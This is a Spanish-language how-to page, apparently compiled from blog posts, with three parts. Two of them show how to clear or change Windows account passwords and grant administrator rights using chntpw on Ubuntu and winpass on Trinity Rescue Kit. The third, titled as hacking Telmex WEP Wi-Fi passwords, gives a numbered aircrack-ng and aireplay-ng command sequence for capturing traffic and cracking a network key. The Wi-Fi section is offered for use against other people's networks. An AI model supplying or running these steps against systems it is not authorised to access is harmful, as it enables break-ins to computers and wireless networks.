Eliminar la contraseña de Windows usando Ubuntu

En este caso voy a utilizar Ubuntu 9.10, si no lo tienes instalado, puedes incluso hacerlo desde el Live CD, y el usuario pertenece a una instalación de Windows 7.

Lo primero que hay hacer es instalar una pequeña utilidad llamada “chntpw“. Puedes instalarlo desde el Gestor de Paquetes Synaptic o desde la consola, usando la siguiente línea:

sudo aptitude install chntpw

Una vez instalado, debemos montar la unidad donde se encuentra instalado Windows y anota la etiqueta que aparece en titulo de la ventana, en mi caso es: F81C3F9E1C3F56BA tal, tal y como se puede ver en la siguiente imagen.

A continuación abrimos la consola y tecleamos las siguientes líneas:
cd /media
ls

Luego ingresamos a la unidad especificando la etiqueta, en mi caso es de la siguiente manera:

cd F81C3F9E1C3F56BA

Accedemos a la carpeta de configuración del sistema de Windows:

cd Windows/System32/config

Ahora vamos a listar todos los usuarios de Windows, usando la utilidad chntpw.

sudo chntpw SAM

SAM es el archivo que contiene el registro de todos los usuarios de Windows.

Para editar un usuario especifico usamos la siguiente línea:

sudo chntpw -u SAM



Nos aparece un menú con 4 opciones.

1. Borrar la contraseña
2. Editar o cambiar la contraseña
3. Le da privilegios de Administrador al usuario
4. Habilitar o deshabilitar al usuario

Para no complicarnos mucho, lo mejor es eliminar la contraseña y luego iniciar sesión en Windows y ponerle una contraseña desde ahí. En este caso, voy a seleccionar 1 para eliminar la contraseña del usuario.

De este modo hemos eliminado la contraseña del usuario, ahora nos queda reiniciar para acceder a la cuenta de Windows sin usar ninguna contraseña

BORRAR CONTRASEÑA DE WINDOWS XP, VISTA Y 7

Se trata de Trinity Rescue Kit(TRK) una distribución Linux en LiveCD

Winpass es el nombre del script que nos va a permitir eliminar las contraseñas de administrador de Windows, modificarlas, activar cuentas bloqueadas o, incluso, convertir en administrador a un usuario limitado. Todo esto de forma casi automática, sin tener que montar la partición de Windows y sin saber qué significan hda1 o sda1 ni nada por el estilo.

1. Introducimos en CD de Trinity Rescue Kit y arrancamos con él con la opción por defecto.
2. Configuramos el teclado en español para que nos resulte más cómodo escribir los símbolos (por ejemplo: ‘-’).

   loadkeys es

   

   Configurar el teclado en español

3. Ejecutamos winpass con la opción -l (ele) para que muestre los usuarios de Windows.

   winpass -l

   

   Ejecutamos winpass -l

   A continuación, detecta las particiones con Windows que tiene nuestro disco duro y nos pide que elijamos con cuál queremos trabajar. En este caso, sólo tenemos una partición por lo que será esta la que seleccionemos escribiendo un 1.

   

   Listado con los usuarios de Windows

   Así obtenemos un listado con todos los usuarios del sistema indicándonos cuáles son administradores y cuales no. En la captura vemos que Administrador, Doraemon y Nobita son administradores. Podríamos quitarle la contraseña a cualquiera de estos usuarios pero para nuestro ejemplo vamos a elegir al usuario Administrador.

4. Una vez seleccionado el usuario objetivo, ejecutamos winpass con la opción -u.

   winpass -u nombre del usuario


   A continuación, se nos presenta un menú en el que podemos elegir qué acción realizar sobre el usuario. De todas sólo he probado la primera.
   1 – Borrar la contraseña.
   2 – Editar la contraseña (cuidado en Windows XP y Vista).
   3 – Convertir en administrador al usuario.
   4 – Desbloquear y habilitar el usuario.
   q – Salir.
   Seleccionamos la opción 1 para eliminar la contraseña.

   

   Menú de edición de usuario

   Y como podemos ver en la última captura, se ha eliminado la contraseña correctamente.

   

   Contraseña eliminada correctamente

5. Por último, para salir del Trinity Rescue Kit podemos ejecutar el comando reboot para sacar el CD mientras se reinicia el equipo:

   reboot

6. En conclusion los comandos son:
   loadkeys es
   winpass -l
   winpass -u nombre del administrador
   1 borrar contraseña
   reboot
   
7. Descargar trinity-rescue-kit.3.3-build-321 ftp://ftp.osuosl.org/pub/trk/trinity-rescue-kit.3.3-build-334.iso

COMANDOS UTILES PARA HACKEAR CONTRASEÑAS DE TELMEX, TIPO DE CIFRADO WEP

ubuntu o backtrack
Tarjeta: Atheros AR5007

En UBUNTU como primer pasos es instalar el aircrack-ng.

y el segundo pasos es instalar un paquete que se llama macchanger.
Estos son los comandos para instalar
apt-get install aircrack-ng
apt-get install macchanger
Siempre debes de entrar como superusuario: sudo su

1.- airmon-ng
2.- airmon-ng stop [wireless card name]
3.- airmon-ng start [wireless card name]
4.- airmon-ng
5.- airodump-ng [wireless card name]
ctrl c
6.- airodump-ng -w [filename] -c [channel number] --bssid [Bssid number] [wireless card name]
otra terminal
7.- aireplay-ng -1 0 -a [bssid] [wireless card name]
8.- aireplay-ng -3 -b [bssid][wireless card name]
otra terminal
9.- aircrack-ng -n 64 -b (Bssid number) filename-01.cap

En BACKTRACK
Activar el wlan
en la consola:
/etc/init.d/networking start
y son los mismo pasos.

Descargar BackTrack4

http://www.backtrack-linux.org/